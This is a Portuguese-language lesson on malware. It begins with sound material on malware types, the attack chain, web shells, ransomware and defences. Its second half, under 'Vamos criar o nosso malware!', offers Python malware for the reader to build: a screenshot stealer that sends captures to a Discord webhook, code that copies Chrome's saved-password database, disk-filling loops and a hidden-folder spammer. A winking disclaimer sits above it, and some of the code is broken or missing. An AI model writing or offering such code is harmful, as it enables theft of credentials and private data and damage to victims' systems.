Malware e Ameaças
⏱️ Tempo de leitura: ~7 min
Explorar uma falha te coloca dentro do sistema. Malware é o que o atacante deixa lá pra continuar dentro — roubando, espionando ou cobrando resgate.
Pré-requisitos
- Ter lido as páginas anteriores desta aula
O que é malware
Malware (de malicious software) é qualquer programa feito pra prejudicar, roubar ou controlar sem autorização. Depois que um atacante entra — por injeção, phishing ou uma senha quebrada — é o malware que faz o trabalho sujo e garante que ele volte.
Os tipos que você precisa reconhecer
| Tipo | O que faz |
|---|---|
| Vírus | se anexa a um arquivo/programa e se espalha quando ele é executado |
| Worm | se espalha sozinho pela rede, sem precisar de ninguém clicar |
| Trojan | se disfarça de programa legítimo pra você mesmo instalar |
| Ransomware | criptografa seus arquivos e cobra resgate pra devolver |
| Spyware / Keylogger | espiona: grava o que você digita, tira prints, rouba senhas |
| RAT | dá ao atacante controle remoto da máquina |
| Botnet | junta milhares de máquinas infectadas pra atacar em conjunto (ex.: DDoS) |
💡 Um mesmo malware costuma ser vários desses ao mesmo tempo: um trojan que instala um RAT que também tem keylogger.
A cadeia de um ataque
Malware raramente é um passo só. Ele segue um roteiro, e dá pra interromper o ataque em qualquer um dos elos:
- Entrega — como chega até a vítima (anexo de e-mail, download falso, upload num site vulnerável).
- Execução — a vítima roda, ou uma falha roda por ela.
- Persistência — se instala pra sobreviver a reinícios (uma tarefa agendada, um serviço).
- C2 (comando e controle) — "liga pra casa": conecta a um servidor do atacante pra receber ordens.
- Exfiltração — manda pra fora o que roubou (senhas, arquivos, prints).
Onde isso encontra a web
Por que malware aparece numa aula de exploração web? Porque uma falha web é uma das portas de entrega.
O exemplo clássico é o web shell. Um site que aceita upload de arquivo sem validar direito deixa o atacante subir um arquivo malicioso (muitas vezes um .php). Uma vez lá, abrir esse arquivo pelo navegador executa comandos no servidor — o atacante ganha um terminal na máquina da vítima, direto pela web.
A injeção ou o upload abrem a porta. O web shell mantém ela aberta.
O caso do ransomware
O ransomware merece destaque porque é o crime digital mais lucrativo hoje. Ele criptografa os arquivos da vítima (hospitais, prefeituras, empresas) e exige pagamento pra devolver a chave.
E o pagamento vem em cripto — lembra do extra de Criptomoedas? É o meio de pagamento do cibercrime justamente por ser difícil de rastrear.
Como se defende
A defesa acompanha a cadeia — cada elo tem um contra:
- Atualizar tudo. A maioria dos worms explora falhas já corrigidas em quem não atualizou.
- Menor privilégio. Malware rodando como usuário comum faz muito menos estrago que rodando como root/admin.
- Não executar o que não confia. Anexo inesperado, crack de programa, script aleatório da internet — é o vetor de entrega número um.
- Antivírus / EDR. Detecta comportamento suspeito (um processo tentando criptografar milhares de arquivos, ou "ligar pra casa").
- Backup offline. Contra ransomware, se o backup está fora do alcance do malware, você restaura os arquivos e não paga resgate.
- Segmentar a rede. Limita até onde um worm consegue se espalhar.
Vamos criar o nosso malware!
Agora que entendemos um pouco sobre vírus e malwares, vamos criar nosso próprio malware simples.
DISCLAIMER: Essa aula é apenas para fins educacionais e não deve ser usada para prejudicar outras pessoas. O uso de malware é ilegal e pode resultar em graves consequências legais. ;)
Como pode ser um simples malware?
Sabemos que malwares são programas maliciosos que podem causar danos ao sistema, roubar informações ou até danificar o hardware. Vamos começar com algo simples: um programa que apenas trava o computador, criando um loop infinito que consome toda a CPU.
Esse código cria um loop infinito que não faz nada além de consumir recursos do computador. Executá-lo pode travar o sistema, exigindo um reinício para recuperá-lo. Se rodado em uma IDE como o VSCode, apenas a IDE pode travar, sem afetar o sistema inteiro.
Podemos melhorar um pouco esse código.
Agora o loop infinito incrementa uma variável, consumindo mais recursos e potencialmente causando lentidão no sistema. Vamos adicionar um print para aumentar ainda mais o consumo de recursos.
Agora, o loop imprime o valor de i a cada iteração. Isso pode travar o sistema mais rapidamente.
Mas podemos fazer algo ainda mais interessante, manipulando arquivos.
Esse código cria arquivos infinitamente, mas ainda não é muito eficiente. Vamos intensificar a operação.
Agora, os arquivos crescem exponencialmente, consumindo muito espaço em disco, o que pode travar o sistema. Mas ainda podemos melhorar.
import os
i = 0
while True:
i += 1
with open(f'arquivo_{i}.txt', 'w') as f:
f.write(i**i)
os.system(f'rm arquivo_{i}.txt')
Agora, o malware cria arquivos exponenciais e os remove logo em seguida, causando um grande consumo de recursos e danificando o sistema de arquivos.
Quer roubar informações pessoais? Vamos capturar a tela do usuário.
import pyautogui
import requests
discord_webhook = 'https://discord.com/api/webhooks/1234567890/ABCDEFGHIJKLMN'
def send_screenshot():
screenshot = pyautogui.screenshot()
screenshot.save('screenshot.png')
files = {'file': open('screenshot.png', 'rb')}
requests.post(discord_webhook, files=files)
send_screenshot()
Agora, temos um malware que envia capturas de tela para um webhook do Discord.
Podemos ir mais longe e roubar senhas salvas no navegador.
import os
import shutil
def steal_passwords():
path = os.path.expanduser('~') + '/AppData/Local/Google/Chrome/User Data/Default/Login Data'
shutil.copy(path, 'senhas.db')
steal_passwords()
Esse malware copia o banco de dados de senhas do Google Chrome para um arquivo local.
Finalmente, um malware perigoso que apaga o sistema operacional.
Esse código exclui todos os arquivos do sistema, causando uma perda irreparável de dados.
Para fechar, um vírus divertido que cria pastas infinitamente e as esconde no sistema.
import os
def create_folders():
i = 0
while True:
i += 1
os.mkdir(f'pasta_{i}')
os.system(f'attrib +s +h pasta_{i}')
create_folders()
Esse script cria pastas infinitas e as esconde com atributos de sistema, deixando o computador cheio de diretórios ocultos.
Próximos passos
Você fechou o ciclo de um ataque web: encontrar a falha, explorar e manter o acesso. A Aula 7 é a virada de chave — encadear tudo isso em ataques mais avançados e descobrir como continuar aprendendo sozinho.